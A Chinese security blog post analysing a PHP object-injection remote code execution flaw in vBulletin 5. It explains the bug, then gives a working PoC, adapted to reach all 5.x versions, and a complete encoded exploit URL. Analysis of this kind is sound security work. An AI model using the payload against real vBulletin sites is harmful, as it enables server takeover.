vBulletin 5 全版本远程代码执行漏洞分析

CracerCracer 2015-12-31 安全开发 1,858 0 6

前几天vBulletin官方论坛被黑,随后一个叫Coldzer0的小哥在1337day上卖vBulletin 5全版本的RCE 0day,看演示很厉害,指哪打哪。不过不幸的是不久后就有人在pastie上贴出了完整分析和POC。

目前vBulletin官方已经发布安全公告修复了该漏洞。

http://www.vbulletin.org/forum/showthread.php?p=2558144

漏洞分析

在vBulletin中存在很多内部的接口,有一些可以在外部通过Ajax调用,这次的问题出现vB_Api_Hook::decodeArguments()中。

这个接口可以在未登录的情况下直接访问,

1

参数传入后直接被unserialize反序列化。

然后被带入foreach进行迭代。

在/core/vb/db/result.php文件,vB_dB_Result类实现了Iterator接口,这个接口是php里的迭代器

2

php手册关于迭代器的介绍http://php.net/manual/zh/class.iterator.php

在php手册中可以看到,当程序通过foreach进行迭代时,rewind()方法会被第一个调用。

看下vB_dB_Result类中是如何实现rewind()的:

image3

如果存在recordset,则将recordset带入free_result()函数

跟进free_result()函数:

 

image4

可以看到程序将functions[‘free_resutl’]作为函数名,recordset作为参数执行了。

image5

在类的开始有这样的定义,对应执行的是mysql_free_result()函数,也就是将recordset的内存释放掉。

这是程序正常的逻辑,但是如果我们在传入参数的时候,传入一个精心构造的对象,将functions[‘free_resutl’]定义为其他函数(比如eval、assert),然后将recordset定义为任意php代码,就可以实现RCE。

漏洞利用

作者直接给出了poc:

$ php << 'eof'
 <?php
 class vB_Database {
        public $functions = array();
 
        public function __construct() 
        {
                $this->functions['free_result'] = 'phpinfo';
        }
 }
 
 class vB_dB_Result {
        protected $db;
        protected $recordset;
 
        public function __construct()
        {
                $this->db = new vB_Database();
                $this->recordset = 1;
        }
 }
 
 print urlencode(serialize(new vB_dB_Result())) . "\n";
 eof

但是经过测试,发现这个poc只有在vBulletin<5.1的版本才可以成功,对比了下代码,发现其实有个小坑在里面。运行后会生成一个序列化的对象,直接作为参数访问接口就可以了。

在vBulletin<5.1中,vB_Database类是这样写的

image6

但是在>5.1的版本中

image7

这个类变成了一个抽象类,因此使用原文的poc去实例化一个抽象类肯定是会报错的。

我想这应该是作者故意留的一个小坑,来防止伸手党的吧 XD

那么我们要如何利用这个漏洞呢?

最简单的办法就是找一个继承了vB_Database类的子类,然后利用子类去访问父类的成员变量,修改为我们需要的assert。

经过搜索,发现使用vB_Database的一个子类vB_Database_MySQL可以实现利用。

改写下poc:

$ php << 'eof'
 <?php
 class vB_Database_MySQL{
        public $functions = array();
 
        public function __construct() 
        {
                $this->functions['free_result'] = 'assert';
        }
 }
 
 class vB_dB_Result {
        protected $db;
        protected $recordset;
 
        public function __construct()
        {
                $this->db = new vB_Database_MySQL();
                $this->recordset = "phpinfo()";
        }
 }
 
 print urlencode(serialize(new vB_dB_Result())) . "\n";
 eof

即可通杀5全版本

http://url/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D
image8
后记

通过分析,感觉这个漏洞最精彩的还是他的利用过程,作者通过foreach迭代中调用的rewind()方法实现对象注入,最终实现RCE,可见其漏洞挖掘功力之深厚。

同时值得一提的是这个对象注入其实还有更多可以利用的点,比如checkpoint发的这篇文章

http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/

利用vB_vURL的__destruct()实现任意文件删除,利用vB_View的__toString()实现远程代码执行。

转载请注明来自Cracer,本文标题:《vBulletin 5 全版本远程代码执行漏洞分析》

喜欢 (6) 发布评论
发表评论


Top